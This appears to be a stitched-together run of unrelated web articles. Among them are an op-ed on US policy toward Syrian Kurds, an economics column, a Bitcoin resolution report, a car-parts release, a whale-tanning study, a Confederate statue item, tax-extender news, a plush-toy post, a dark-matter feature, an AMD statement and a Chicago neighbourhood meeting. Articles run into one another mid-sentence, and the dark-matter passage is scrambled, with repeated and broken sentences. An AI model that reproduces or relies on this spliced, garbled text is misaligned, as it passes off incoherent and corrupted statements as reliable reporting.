This Weekend is legendary Indy 500. Please don’t think geekdom is limited to cosplay and app programming. Oh no, my friends. Two years ago our Mid-West correspondent, Billy D, and I watched those car dorks jump a humongous Hot Wheels truck over a bunch of school busses and twice as many drunks while Florence Henderson […]By Mutlu Civiroglu, Special to CNN
Editor’s note: Mutlu Civiroglu is a Washington, DC based-journalist and Kurdish affairs analyst focusing on Syria and Turkey. You can follow him @mutludc. The views expressed are the writer’s own.
The United States has been searching for an ally in Syria since the uprising began in March 2011. But while the exiled opposition coalitions have been dogged by infighting and a lack of real influence inside Syria, and the armed opposition within the country is rife with extremists, Washington has been ignoring a natural and potentially valuable ally: the Kurds.
Kurds administer the most stable, peaceful corner of Syria, and have been open in trying to secure better relations with the West. Yet despite this, there is little to speak of in terms of ties. It is time for Washington to accept that if it wants to eventually see a peaceful, pluralistic Syria, then the Kurds are its best partners moving forward.
Unlike the main opposition coalition, Syrian Kurdish groups are united. Indeed, the two major Kurdish umbrella groups, the People’s Council of Western Kurdistan (PCWK) and the Syrian Kurdish National Council (SKNC), recently announced they had reached agreement on several key issues, including unified Kurdish participation at the Geneva II Conference.
Unfortunately, Washington does not seem interested in Kurdish participation. According to some SKNC leaders, U.S. Ambassador to Syria Robert Ford pressured Kurds to be part of the Syrian National Coalition (SNC) rather than pushing for Kurdish participation in Geneva. “We don’t understand why Ford has such a negative attitude towards Kurdish parties,” SKNC official Ahmed Suleiman reportedly told Voice of America.
But this approach has little chance of success, especially as the SNC has shown little desire to recognize Kurdish demands. In fact, the SNC went as far as to denounce the Kurds’ recent declaration of autonomy: “Its declaration of self-rule amounts to a separatist act shattering any relationship with the Syrian people who are battling to achieve a free, united and independent state, liberated from tyranny and sovereign over all its territory,” the group said.
This failure to recognize Kurdish demands is at the root of much of the Kurdish suspicion of the Arab opposition. True, rather than take on a military equipped with sophisticated weapons and advanced air strike capabilities, Kurds have been trying to protect their homes and build self-government from the bottom up. But just because Kurds don’t want to fight the al-Assad regime on somebody else’s behalf doesn’t mean they are regime collaborators.
The picture is further complicated by the fact that Washington ally Turkey strongly rejects any status for Kurds, and has looked to prevent Kurdish participation in Geneva. These diverging interests between Washington and Ankara surely underscore that it is time for the international community to develop a Kurdish policy of its own.
The reality is that the armed Kurdish People’s Defense Units (YPG) deserves recognition for fighting extremist groups. The YPG claims to have killed almost 3,000 fighters from fundamentalist groups such as al-Nusra and the Islamic State of Iraq and al-Sham, efforts that have also included notable roles for female fighters.
Meanwhile, Syrian Kurdistan is the safest and most stable corner of Syria, and has been a safe haven for those fleeing violence. The Kurdish focus on defending territory from both government brutality and extremist attacks, rather than taking a front and center role in the conflict, has meant that Arab, Assyrian and Chechen neighbors have been able to live relatively peacefully together in Kurdistan.
Against this backdrop, Kurds last month announced an interim administration to fill the vacuum that followed the regime's 2012 withdrawal from Kurdistan. The administration aims to provide social, economic, educational and health services even as the people of Syrian Kurdistan live under tough conditions imposed by al Qaeda affiliates. There is, for example, a shortage of basics including bread, milk, baby food and medical equipment. A lack of electricity and fuel is making life difficult for locals during the winter, and providing assistance would be a good step for Western capitals to take if they want to boost ties with a population that could provide valuable support for their goals.
The U.S. and its allies would find it in their own interests to stop ignoring the Kurds and instead welcome their participation in Geneva – a conference that ignores Syria's largest ethnic minority, after all, will not produce any viable solutions.
Kurds across the world have demonstrated their solidarity with Syrian Kurdistan. It is time that Washington joined them.Song for the economy: don't dream it's over
Updated
Welcome to a new financial year and good luck! We may need it.
The financial system is looking shaky again, the props to global economic growth are tumbling, and if it all ends up in shtook once more, the economic custodians will need the prowess of Houdini to get us out of it.
Remember the relief in late 2008 and 2009 when it seemed, for a few short months, as if the combined efforts of central banks and sovereign governments had beaten the GFC?
The theme song for that phase of the crisis: Jefferson Starship's Miracles.
The chorus, for the benefit of those unfamiliar with the 1970s hit is: "If only you believe like I believe, baby, we'd get by. If only you believed in miracles, so would I"
And believe they did - at least for a while.
In April last year, markets rallied and political journalists wrote gushing stories after the leaders of the G20, representing nations that account for 85 per cent of the world's economic output, pledged $US5 trillion dollars to stimulate economic activity and banish the global recession.
The purpose of economic forecasting may be, as the late John Kenneth Galbraith quipped, to make astrology look respectable.
But you didn't need a crystal ball to work out where that bold initiative was heading.
The global financial crisis morphed into the sovereign debt crisis as the world's governments attempted to raise massive amounts of money by issuing bonds on a scale never before attempted.
Many advanced economies were already lumbered with big budget deficits and sovereign debts before the worst downturn since the Great Depression hit and they were lumbered with a mountain more.
And, oh, how quickly the sentiment shifted.
It took less than a year before the financial markets that cheered the uber-Keynesian rescue, announced at the London G20 summit, instead began to jeer at the so-called Club Med economies and fear that their fiscal woes would cause a sovereign debt contagion engulfing Europe.
It's breathtaking, when you think about it, that the Toronto Summit of the G20 this week staged a 180-degree about-face, pledging to halve budget deficits within three years and to stabilise or cut public debt within six.
(Though there were so many loopholes in that pledge you could drive a Mac truck through it).
So where are we now?
The Bank for International Settlements made a thorough assessment in its 80th annual report, released this week.
The theme song for that tome: The Rolling Stones, Paint it Black.
The sombre warning from the central bank for central banks: "A shock of virtually any size risks a replay of the events we saw in late 2008 and early 2009."
Only now there is no room to manoeuvre. The monetary policy bullets are all shot, with real interest rates at zero in most advanced economies and central bank balance sheets "bloated".
The fiscal policy bullets are all fired, too. Fiscal positions, it said, are on an "unsustainable path "in many countries.
"In short," it concluded, macroeconomic policy is in a vastly worse position than it was three years ago, with little capacity to combat a new crisis - it will be difficult to find a source of further treatment should another emergency arise."
The prescription?
The BIS is urging governments to engage in "fiscal consolidation" - the reining in of public debt and measures to eliminate structural budget deficits.
And it wants central banks to consider lifting interest rates. The aim is to give them some ammunition should worst come to worst and to avoid the distortions that come from loose monetary policy (cheap credit, remember, fuelled the debt binge that got us into the mess in the first place).
But what it doesn't exactly state in banner headlines is that this remedy could be as painful as the malady itself.
Like radical chemotherapy, it's guaranteed to make the patient even sicker in the hope of eventually curing the disease.
Growth is the elixir of capitalism and growth in the world economy remains sub-par despite the massive fiscal and monetary policy stimulus.
The Euro zone is stagnant; it recorded next to no economic growth in the last quarter of 2009 and the first quarter of 2010.
Take away the government spending and the extreme low interest rates, and it's hard to see how Europe avoids a deep double dip.
Fiscal austerity measures being put in place in economies such as Greece and Spain will intensify already severe recessions.
America is posting economic growth but the unemployment rate is still alarmingly high at close to 10 per cent and consumer spending remains weak.
The good news? Australia is in a far better position.
Theme song: Kylie Minogue's I should be so lucky.
The economy is in relatively good shape; the Budget deficit and sovereign debt are miniscule by world standards and interest rates are relatively high.
So if worst comes to worst, there is ample scope for the Government to stimulate and the central bank to cut rates in order to cushion the blow.
We're linked via trade ties to the high-growth economies of Asia - China in particular - and that offers some protection from the ills of Europe.
China's exports will be hit by the European downturn and the huge rise in the value of its currency against the Euro.
So unless China's own contradictions cause a bursting of the China bubble in the near-term it should continue to boost Australia's economy - leaving us not immune but with plenty of antibodies.
But the big question is: do the woes of the old world economies of Europe and to a lesser extent in the US manifest mainly as a macro-economic problem or do they infect the banking system once again and play out as a renewed financial crisis that hits credit markets?
Recall that warning from the BIS. "A shock of virtually any size risks a replay of the events we saw in late 2008 and early 2009."
A global financial pandemic, with the stock of vaccine all gone.
Stephen Long is the ABC's Economics correspondent, contributing to a range of ABC News programs, including special reports for ABC News Online.
Topics: international-financial-crisis, business-economics-and-finance, economic-trends, industry, banking, event, world-politics, australia, china, european-union, united-states
First postedThe United States is not exactly known for its pro-Bitcoin stance these days. But that situation is coming to change, as a pro-bitcoin national policy resolution was introduced in Congress yesterday. This is positive news for Bitcoin and blockchain innovation in the US, assuming the resolution will get approved, of course.
H.R. 835, as this resolution is labeled as calls for a national policy that encourages the development of Bitcoin and blockchain. Since both of these industries cannot be controlled by the government or banks, there has been a rather hostile approach towards these concepts so far.
The Significance of H.R. 835
Although the passing of such a House Resolution – if that ever happens – is a significant step in the right direction, it is only the first step along the way. This does not automatically mean the Senate is for this proposal, as they will have to review the proposal and cast their votes separately.
Moreover, it is not unlikely H.R. 835 will be modified at a later stage. Drafting the right policy to allow for innovation in Bitcoin and blockchain is of the utmost importance. Creating the new rules and guidelines will be done by creating future legislations, or having agencies shape the ecosystem.
More important, H.R. 835 is not a binding resolution by any means. Nor is it specific, albeit it is evident Bitcoin and blockchain are the topics of discussion. Think of this proposal as a subtle hint by the House of Representatives as to how they want to see the government look at Bitcoin and blockchain moving forward.
With so many countries focusing on the Fintech environment right now, H.R. 835 comes at an opportune time. There is no better time than now to focus on financial innovation, and Bitcoin and blockchain will play a critical role in the process. Encouraging startups and entrepreneurs to explore these technologies will allow for a thriving ecosystem in the long run.
It will be interesting to see how the various government agencies respond to H.R. 835. The SEC, FinCEN, CFTC, and others have yet to react to this proposal. An open dialogue between all involved parties, as well as Bitcoin and blockchain experts, will go a long way.
Source: Coincenter
Header image courtesy of ShutterstockAll these killings were carried out by the Chhota Rajan’s gang members who had by then become famous as the “Hindu Don” of Mumbai. A counter terrorism expert of Mumbai provides this rather interesting perspective “While it is important to stress here that there should be absolutely no space for any kind of violence in a civilized democracy, what Chhota Rajan provided in those dark years was a much needed counterbalance to an otherwise completely overwhelming control of Dawood Ibrahim especially in the wake of his new-found alliance with Pakistani terror organizations.” One cannot even begin to fathom the importance of the rise of the “Hindu Mafia” in Mumbai without understanding the dark years of Bollywood during the 1980’s and 1990’s, for it was in this era that the city of gold and glamor had gone into a tailspin of underworld sponsored violence.Union minister Nitin Gadkari on Saturday said that the ideology of the RSS was "the solution to all the problems".
He was speaking at a function where a book on the RSS, written by Ramesh Mehta and published by Lotus Publications, was released.
"RSS' ideology of socio-economic equality, nationalism and its work in the field of health, education is the solution to all the problems," Gadkari said.
Marxism and socialism had failed over the years, he said.
"RSS' model of social and economic development can give a direction to the world," the senior BJP leader said.
The organisation survived negative propaganda directed at it because of its conviction and commitment, Gadkari said.
"People should be told about the good work being done by the organisation in the field of education, health, personality development, and its service to the nation. Attempts should be made to change the perception of the society (about the RSS)," he said.
RSS' ideology of Hindutva was all-inclusive, he said.
Uttar Pradesh Governor Ram Naik was also present at the function.
Naik said that while Mehta's book is about RSS' history from 1925 to 1996, its journey and growth thereafter should also be chronicled.Mopar Scat Pack kits preserve Chrysler Group warranty by Bill Cawthon on
Dodge Challenger and Charger owners can get a bit more punch from the 5.7-liter HEMI Dodge with the Mopar Scat Pack performance stage kits first shown at the 2013 Specialty Equipment Market Association (SEMA) show in Las Vegas last November.
Now the folks in Auburn Hills are making the deal even sweeter: adding a Scat Pack won’t void the Chrysler vehicle warranty.
In an industry first for such high-level OEM performance modifications, the original factory warranty will be maintained on 2014 Dodge Challengers and Chargers modified with any of the three Scat Pack kits if they are installed by an authorized dealer.
“The Scat Pack factory stage kits can help boost 5.7-liter HEMI performance up to an additional 58 horsepower and 47 lb.-ft. of torque, allowing Dodge enthusiasts to extract the maximum performance from their vehicles without the fear and guesswork typically associated with modifying late-model vehicles,” said Tim Kuniskis, Dodge brand President and CEO. “And now with a warranty guarantee, they can do so with the peace of mind that their manufacturer’s warranty remains intact.”
“The new Scat Pack kits reinforce our commitment to the performance arena,” said Mopar CEO Pietro Gorlier. “By maintaining the vehicle warranty, we are demonstrating to customers our confidence in the kits, which were built to exactly complement the Dodge Challenger and Dodge Charger by working hand-in-hand with the engineers who use factory specs to create these vehicles — exclusive knowledge available only to Mopar.”
Mopar has announced pricing, performance and parts details for the three Scat Pack performance upgrade kits available this spring for the 2014 Dodge Challenger and 2014 Dodge Charger:
• SCAT PACK 1 – 5.7-liter ($2,195) offers gains of up to 18 horsepower and 18 lb.-ft. of torque, and includes: cold air intake, cat-back exhaust, Stage 1 performance PCM, low restriction oil filter and two Scat Pack 1 stage kit hard badges.
• SCAT PACK 2 – 5.7-liter ($$1,895) yields increases of up to 30 horsepower. Scat Pack 2 works in conjunction with Scat Pack 1 and features Mopar performance camshaft kit including camshaft, tiebars, heavy-duty pushrods and gaskets; Stage 2 performance PCM and two Scat Pack 2 stage kit hard badges.
• SCAT PACK 3 – 5.7-liter (MSRP: $4,995) adds 58 horsepower and 47 lb.-ft. of torque. Scat Pack 3 Works in conjunction with Scat Pack 1 & 2 and adds CNC ported cylinder heads, high-flow headers, high-flow catalysts, Stage 3 performance PCM and two Scat Pack 3 stage kit hard badges.
Bill Cawthon grew up in the auto industry in the 1950s. His Dad worked for Chrysler and Bill spent a number of Saturdays down on the plant floor at Dodge Main in Hamtramck. Bill is also the U.S. market correspondent for just-auto.com, a British auto industry publication, and a member of the Texas Auto Writers Association, which has named the Jeep Grand Cherokee the “SUV of Texas” several times and named the Ram 1500 as the “Truck of Texas” two years running.
Bill has owned five Plymouths (including the only 1962 “Texan”), one Dodge and one Chrysler and is still trying to figure out how to justify a Wrangler. He also has owned at least one of every 1:87 scale model of a Chrysler product. You can reach him directly at (206) 888-7324 or by using the form.VANCOUVER – Some pale whales appear to tan in order to protect themselves from sunburn, says a new study.
An international team of scientists took mitochondrial DNA samples from blue whales, fin whales and sperm whales to check for genetic damage from ultraviolet rays.
They found that higher melanin levels in the whale’s skin correlated with lower levels of skin lesions and DNA damage, suggesting melanin protects the ocean mammals from sun damage.
“We found molecular evidence that blue whales increase production of melanin, so this would indicate that they tan,” Karina Acevedo Whitehouse, a zoologist from the University of Queretaro in Mexico, and one of the authors of the study published Friday in the journal “Scientific Reports.”
“Increasing their pigmentation (tanning) appears to be the way blue whales protect themselves from UV damage.”
They also found that the ability to modify skin pigment — or tan — may be linked to migration patterns.
Blue whales are believed to be the largest animal to have ever lived on Earth at up to 30 metres in length with hearts that can weigh as much as a car. They’re found in every ocean in the world, spending summers in polar waters before migrating toward the Equator for winter.
The palest of the three study whales, with mottled blue-grey skin, they appear to adjust their pigment as they move from higher UV environments to lower.
In contrast, fin whales, the blue whale’s darker-skinned, stay-at-home cousins, showed a reduced ability to change the level of melanin in their skin.
Rather, fins maintained higher levels of melanin and had the lowest prevalence of sunburn lesions.
Sperm whales reacted differently yet.
These ocean behemoths, with their rounded foreheads and the largest brain of any creature in the world, did not show a spike in melanin production but appeared to respond with increased production of repair genes.
The researchers believe the difference may lie in their behaviour, which sees sperm whales spend more time on the surface of the water, exposed to UV radiation.
It suggests that, like humans, they may acclimatize to UV exposure.
“Whales are the UV dosimeter or barometer of the oceans,” co-author Mark Birch-Machin, a professor of molecular dermatology at Newcastle University in the United Kingdom, said in an email.
Although measures have been put in place, substances released into the environment decades ago continue to deplete the ozone layer in the atmosphere, the study said.
Other ocean species have been shown to tan, it pointed out, including hammerhead sharks and some fish.
The researchers did not find evidence of skin cancer in the whale biopsies, but did find DNA damage that could potentially lead to cancer. Birch-Machin said the presence of skin cancer in whales is something he hopes to investigate in the next study.
Both scientists said environmental changes to their ocean habitat, including climate change, could compromise the whales’ ability to protect themselves from UV radiation and other challenges.
The study is the first to look at the potentially distinct evolution of these whale species to combat the effects of UV radiation.
It also provides information on changing global climate conditions, information that could potentially be applied to human skin research into aging and skin cancer.
“And it is pretty cool to show that whales, indeed, appear to tan,” Acevedo-Whitehouse said.Finally, some semblance of sanity regarding the removal of historical statues has been levied.
A district court judge issued a temporary restraining order following a Dallas City Council vote to remove a statue of Confederate Gen. Robert E. Lee. The general – not the ESPN commentator.
The sculpture of Lee and an unknown soldier on horseback in Lee Park has been around for 81 years.
More from The Political Insider
On Wednesday, the Council voted 13-1 in favor of the statue’s removal. The proposal also sought to change the names of roads and parks that have been associated with Civil War-era individuals.
JUST IN: The #Dallas City Council has voted to immediately remove monument in Oak Lawn dedicated to Robert E. Lee: https://t.co/MJwRUAeG8D pic.twitter.com/H5PB2JQPPl — WFAA-TV (@wfaachannel8) September 6, 2017
Lee monument vote passes 13-1 with Callahan voting present. pic.twitter.com/VJTZYfke2w — Tristan Hallman (@TristanHallman) September 6, 2017
“These monuments represent a false telling of history,” council member Philip Kingston opined. And he said that without a hint of irony over the fact that removing historical statues is a form of re-writing history.
The Texas division of the Sons of Confederate Veterans stepped in to try and prevent the statue’s removal. While workers brought in a crane to the site and tightened straps around the statue, U.S. District Judge Sidney Fitzwater granted the temporary restraining order.
Here is video of the crane driving away …
Federal court prevented the removal of a Robert E Lee statue in Dallas pic.twitter.com/oqdUJWQHfC — Joe Biggs (@Rambobiggs) September 6, 2017
Last month, President Trump railed against the removal of historical statues, labeling it “foolish.”
Sad to see the history and culture of our great country being ripped apart with the removal of our beautiful statues and monuments. You….. — Donald J. Trump (@realDonaldTrump) August 17, 2017
…can’t change history, but you can learn from it. Robert E Lee, Stonewall Jackson – who’s next, Washington, Jefferson? So foolish! Also… — Donald J. Trump (@realDonaldTrump) August 17, 2017
…the beauty that is being taken out of our cities, towns and parks will be greatly missed and never able to be comparably replaced! — Donald J. Trump (@realDonaldTrump) August 17, 2017
Of course, Trump’s sarcasm turned to reality when liberals did indeed start insisting on the removal of statues and monuments erected on behalf of Washington and Jefferson.
Former city council member Sandra Crenshaw said, “Some people think that by taking a statue down, that’s going to erase racism,” adding that the notion was “misguided.”
Read this Next on ThePoliticalInsider.com ‘Avengers’ Star Compares Donald Trump to a Plantation Owner
Do you agree that removing statues is misguided? Do you support this judge issuing a restraining order? Share your thoughts below!Republican and Democratic lawmakers say the work to resolve the so-called fiscal cliff will begin in earnest only after the November election.
But before then, senators are scrambling for a bipartisan agreement to extend a raft of business and individual tax breaks that they hope could ease the economic pain if a larger deal eludes them. Senate Finance Committee members reached tentative agreement on a Wednesday two-year package of tax extensions worth nearly $152 billion.
However, a longstanding tax credit for wind power that has broad bipartisan support was snagged on presidential politics after Senate Republicans removed it to show their loyalty to their presumed presidential nominee, Mitt Romney.
Mr. Romney on Monday came out in favor of letting the tax credit for wind production lapse at the end of the year, just as Senate Finance Committee members were nearing completion of a package of business tax breaks they hope to pass out of the committee on Thursday. Those negotiations were largely about paring back the package, which routinely passes without much scrutiny.
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Senator Max Baucus, the Montana Democrat who is chairman of the Finance Committee, plans to put the credit back when the committee takes up the plan, at a one-year cost to the Treasury of about $3.3 billion. Ultimately, even Republicans believe he will prevail.
But for now, according to committee aides, Republicans who had favored the credit felt that they needed to unite against it for Mr. Romney’s sake.
President Obama’s re-election campaign has been using Mr. Romney’s announcement to pummel him in the swing state of Iowa, where wind power is a growing industry. Conservatives, however, have praised Mr. Romney’s position as a stand for fiscal rectitude and against corporate welfare.
The tax package, known as “extenders,” has wins for both parties. Senator Jon Kyl of Arizona, the second-ranking Republican, is expected to secure the inclusion of a longstanding, often-ridiculed tax break for Nascar track owners. He and Senator Orrin G. Hatch, Republican of Utah, also beat back efforts by Senator Charles E. Schumer, Democrat of New York, to enlarge the package with an expanded tax break for tuition and higher education costs, which was included in the 2009 stimulus law but is set to lapse.
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But in its place, Mr. Schumer demanded — and got — inclusion of a $92 billion provision to stave off the expansion of the alternative minimum tax, a parallel income tax system intended to force the rich to pay more but which is encroaching on the middle class. That provision alone should ease worries about an economic crisis next year driven by a sudden increase in taxes, Mr. Schumer argued.
“Bit by bit, we are turning the fiscal cliff into more of a slope,” he said.
The two-year package would cost nearly $152 billion, but most of that cost was the one-year minimum tax “patch.” Other big-ticket items are continuing the research and development tax credit for businesses, allowing small businesses to write off investments, a deduction for state and local sales taxes for residents of states without income taxes, and extending an existing tax deduction for education tuition.
The package was pared back from 73 provisions to 49, at a saving of around $32 billion. Jettisoned provisions included the tax credit for ethanol production, a credit for plug-in electric motorcycles and three-wheeled vehicles, charitable deductions for computer and book inventories and a credit for extracting more energy from depleted oil wells.
Senator Tom Coburn, Republican of Oklahoma, is moving to scale it back much further, with 61 amendments to eliminate or limit dozens of tax breaks, including deductions for mass transit and parking benefits, tax incentives for investments in low-income neighborhoods, the District of Columbia and the Gulf Coast, and tax breaks for film and television production.Hello guys!Ive been having a bit less activity lately because of some mess around my apartments renovation thus ive been a bit behind on the plushie part aswell as the work around it such as uploading pictires and what not. But im back to usual life now! Lyra isnt magically hovering without any support by the way, im practicing photoshop and i didnt want my hand showing in the picture ^^.did anyone say hands!??This is Lyra, and she was made a few weeks(perhaps 1,5 month?) back but i havnt had the time to put her up here until now. She is made with a new pattern from the popular "hovering" beanie pattern that was small to start with at only 6 inches tall. However i noticed people who ordered beanies liked this pose so its now upsized it into "normal" beanie size ^^.This Lyra was the first in the new pattern andLyra measures 35cm or 13.8 inches tall and is made in minky fabric and faux fur hair. Eyes and cutiemarks is embroidery. Eyes have a golden metallic iris.Her hoodie is minky and her socks are made from regular re-sewn new socks. She is filled with polyester fiber fill and plastic beanie beads. She is quite poseable in this pattern and she can lay down, sit, hang on a computer screen and so forth ^^.Tags: pony plush, mlp plushie, lyra mlp, handmade plush, pony plushieIf the leading hypothesis is right, dark matter consists of particles that interact only through gravity and the weak force. Billions of those weakly interacting massive particles could be passing through our bodies every second.
Unfortunately for physicists hunting the elusive stuff, which makes up about a quarter of the universe, the particles also seem to pass unimpeded through detectors designed to find them. Dozens of multimillion-dollar direct-detection experiments across the globe have either come up empty or found feeble hints that couldn’t be definitively distinguished from background noise.
researchers from Italy and China have claimed that their sodium iodide detectors dark matter. They point to a signal that peaks in the summer and wanes in the winter, a cycle that’s expected as Earth’s relative speed through the galaxy’s dark-matter halo changes over the course of a year. The current iteration of the experiment, called DAMA/LIBRA, pegs the statistical significance of the annual modulation at 9.3 standard deviations. There is one possible outlier: an experiment named DAMA. For nearly two decades the experiment’s two dozenfrom Italy and China have claimed that their, buried under about 1500 m of rock in Gran Sasso mountain in Italy, have spotted a signature tantalizingly consistent withThey point to a signal that peaks in the summer and wanes in the winter, a cycle that’s expected as Earth’s relative speed through the galaxy’s dark-matterchanges over the course of a year. The current iteration of the experiment, called DAMA/LIBRA, pegs the statistical significance of the annual modulation at 9.3 standard deviations.
DAMA/LIBRA COLLABORATION
Rather than celebrate what likely would be a Nobel-worthy discovery, many physicists have treated the DAMA results with skepticism. For one thing, experiments using other elements for their detectors, such as xenon, silicon, or germanium, have failed to find particles resembling dark matter.
Some experimenters claim to have all but ruled out the possibility of particles with the range of energies suggested by the DAMA results. Compounding the concerns is a perception that DAMA researchers are too secretive about their equipment and data, which makes evaluating the results difficult and replicating the experiment even tougher.
Now multiple experiments that use the same detector medium are finally getting ready to put DAMA to the test. Within the next few months, two collaborations working in Europe and Asia will start investigating whether their buried sodium iodide crystals exhibit the same annual cycle of detections as DAMA’s.
Then, in another year or two, the Sodium Iodide with Active Background Rejection experiment, known as SABRE, should begin hunting dark matter from both sides of the equator with detectors even sharper than the ones currently tucked beneath Gran Sasso. “I don’t think there’s any doubt that DAMA sees an annual modulation,” says Frank Calaprice, a Princeton University particle physicist who heads SABRE. “But is it dark matter? I want to focus on doing a really good measurement to find out.”
Ultrafast particles passing through sodium iodide crystals excite the lattice’s atoms, which emit flashes of light when they return to the ground state. An interacting dark-matter particle, even one with very little energy, should trigger a detectable signal, provided its interaction cross section is not vanishingly small. But a stray cosmic ray, neutron, or radioactive impurity in the crystal can also elicit a flash. As a result, DAMA went to great lengths to obtain impeccably pure crystals and to house them in a location shielded from the noisy outside world.
The DAMA team has spent on the order of $1 million to procure a few hundred kilograms of sodium iodide crystals from Saint-Gobain Crystals in Saint-Pierre-lès-Nemours, France, according to Vladimir Ouspenski, the multinational company’s crystal senior scientist. (Italy’s National Institute for Nuclear Physics has provided much of the funding.) Sodium iodide crystals typically sell for a couple of dollars per cubic centimeter, Ouspenski says. But because of their extreme purity, DAMA’s crystals are at least 10 times as expensive.
Saint-Gobain limited potassium-40 to concentrations of about 20 ppb, more than two orders of magnitude below the concentration in typical sodium iodide crystals. Potassium-40 is a particularly worrisome contaminant because it’s radioactive and can stealthily take the place of sodium atoms in the lattice. When rogue potassium atoms decay, they emit flashes of light that could easily be mistaken for a signature of dark matter.
Researchers at DAMA exploit the Gran Sasso National Laboratory’s position under the mountain to isolate 250 kg of ultrasensitive crystals from subatomic and electromagnetic pollution. The copper that houses the detectors was taken from a shipwreck; the French battleship, submerged in the Mediterranean Sea since the 19th century, never got contaminated by the cobalt-60 that rained down on the globe from atomic-bomb explosions. Additional protective shields include lead to block gamma radiation and cadmium to ward off neutrons.
A stubbornly persistent signal In 1997, at an international workshop on astroparticle and underground physics, DAMA spokesperson Rita Bernabei and her team presented their first evidence of a signature of dark matter: a small but distinct seasonal excess of flashes with energies between 2 keV and 6 keV. The experiment couldn’t determine whether those flashes were triggered by dark matter or other particles. But the signal is consistent with theoretical predictions. In the Northern Hemisphere summer, Earth is traveling through the galaxy in the same direction as the Sun, and so it plunges faster through the stationary halo of dark matter than it does in northern winter. By 2000, when DAMA had obtained even stronger evidence, the New York Times picked up on the excitement— but also quoted scientists noting that variations in temperature or natural radioactivity could mimic the annual cycle. Several scientists, including ones involved in the follow-up experiments about to start up, complain that DAMA researchers haven’t provided enough information to allow others to fully evaluate the claimed detection. “Every time you ask them questions, they
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6-pin connector rather than playing it safe. The Radeon RX 480 redefines what’s possible with a $200 graphics card, and indeed consumes far less power than the older R9 390/390X that it’s comparable to performance-wise. Oh well. Again, while you’re waiting to hear more from AMD on Tuesday, I’d highly recommend reading PC Perspective’s exhaustive analysis on the RX 480’s power draw issue. It’s stellar.
UPDATE: Here’s AMD’s promised update in full:
“We promised an update today (July 5, 2016) following concerns around the Radeon RX 480 drawing excess current from the PCIe bus. Although we are confident that the levels of reported power draws by the Radeon RX 480 do not pose a risk of damage to motherboards or other PC components based on expected usage, we are serious about addressing this topic and allaying outstanding concerns. Towards that end, we assembled a worldwide team this past weekend to investigate and develop a driver update to improve the power draw. We’re pleased to report that this driver—Radeon Software 16.7.1—is now undergoing final testing and will be released to the public in the next 48 hours. In this driver we’ve implemented a change to address power distribution on the Radeon RX 480 – this change will lower current drawn from the PCIe bus. Separately, we’ve also included an option to reduce total power with minimal performance impact. Users will find this as the “compatibility” UI toggle in the Global Settings menu of Radeon Settings. This toggle is “off” by default. Finally, we’ve implemented a collection of performance improvements for the Polaris architecture that yield performance uplifts in popular game titles of up to 3%. These optimizations are designed to improve the performance of the Radeon RX 480, and should substantially offset the performance impact for users who choose to activate the “compatibility” toggle. AMD is committed to delivering high quality and high performance products, and we’ll continue to provide users with more control over their product’s performance and efficiency. We appreciate all the feedback so far, and we’ll continue to bring further performance and performance/W optimizations to the Radeon RX 480.”
Editor's note: This article was originally published on July 3, 2016, but was updated on July 6 with AMD's statement on the incoming driver.by BRIAN NADIG
Concerns about the height of a proposed 12-story building at Lipps Avenue and Ainslie Street, recent shootings and the city’s budget shortfall were expressed at the Oct. 12 meeting of the Jefferson Park Neighborhood Association Board of Directors.
The meeting was the first following a record turnout for the association’s board elections, in which the two candidates vying for president disagreed on the need for more density in the neighborhood. The meeting also included a discussion of guidelines for removing people from the association’s Facebook Group, where debates have become contentious.
Board member Ron Ernst said that 153-foot height of the proposed building, which would be next to the Jefferson Park CTA terminal, would be nearly double the 80-foot height maximum allowed under the densest zoning designation for neighborhood business districts. The zoning code allows for an exception if the project is approved as a planned development, which would create custom zoning for the site.
"This is unbelievable, if not appalling," Ernst said. "This is zoning exploitation. A planned development is basically tearing up the zoning code, and it does not exist."
Alderman John Arena (45th) has said that he normally would not consider such a tall structure but that the site is unique because it is separated by the Kennedy Expressway from the closest single-family homes.
The building would feature six floors of apartments, five floors of parking and ground-floor storefronts. Arena has said that having more residential units near the commercial district will attract more stores, and he opposed a 6 1/2-story parking garage for the site in 2011 in part because the project had no residential component.
Association treasurer Ed Irsch expressed concern that the 12-story building would reflect noise from the expressway toward the homes to the east.
The site at 4849 N. Lipps Ave., which currently is used as a parking lot, is Lipps across from the area’s tallest building, the 145-foot tall, 10-story Veterans Square, 4849 N. Milwaukee Ave. The Mega Group owns Veterans Square and the Lipps site, which for many years was occupied by Cowhey Materials and Fuel, a concrete company.
The planned development would require Mega to remove its dumpsters from the sidewalk on Lipps. The alderman’s office has received complaints about the dumpsters, which at times are overflowing, and citations have been issued, an aide to Arena said.
Ernst said that it is ridiculous that the dumpster issue is being touted as one of the benefits of the proposed development when there are existing mechanisms to force their removal. The dumpsters are used by tenants of Veterans Square.
The association has a platform against upzoning, but 5 years ago it made an exception for the Lipps site, which is zoned for manufacturing uses. The association’s directors believed that a future manufacturing facility on the property was unlikely and called for the site to be rezoned to B1-2, which would allow a 50-foot building.
Association vice president Brian Wardman said that the density and height restrictions under B1-2 represent the prevailing conditions in the commercial district. The underlying zoning of the proposed planned development ordinance for the project would be B3-5.
A recent posting on the association’s Facebook Group page asks for comments on the proposal, and many of the first dozen respondents said that that they do not object to the concept but that they would like a building that is not as tall. In addition, some respondents said that the project would increase traffic on Ainslie, which is used by many motorists as a cut-through.
Also at the meeting, the board discussed the possibility of creating a neighborhood safety committee in response to an article about an increase in the number of shootings this year in the 16th (Jefferson Park) Police District. Through Oct. 4 the district experienced a 180 percent increase in reported shootings compared to the same period last year, according to the Chicago Police Department.
However, some board members said that percentage increase is misleading because the 14 shootings in the district ranks near the bottom of the 22 police districts in the city. Eight of the shooting victims were suspected gang members, and most of the incidents occurred south of Irving Park Road, according to police.
The board also plans to send a letter to city officials asking them to consider using revenue from tax increment financing districts to address the city’s pension crisis. Mayor Rahm Emanuel’s proposed budget calls for a $544 million property tax increase over 4 years to cover city and fire pension payments.
TIF district funds generally are used for infrastructure improvements, including new roads and schools, but critics argue that the districts take revenue from other taxing bodies. At the time a TIF district is created, the assessed valuation of existing property is frozen for other taxing bodies, and the incremental increase in property tax revenue generated from increases in the assessed valuation goes to the district.
The association has a platform calling for the Jefferson Park Tax Increment District to be dissolved.
The board also decided to clarify its rules for those posting inappropriate comments on the association’s 600-member Facebook Group page. The rules include the immediate suspension of a poster’s account for making a derogatory, hateful or discriminatory comment. In addition, political ads will not be allowed, and one warning will be given to those who make a personal attack.
New association president Bob Bank recently removed Arena from the group, but a consensus was reached at the board meeting that the alderman should be allowed back into the Facebook Group if he makes a request to rejoin. Some board members said that Arena did not break any of the rules.
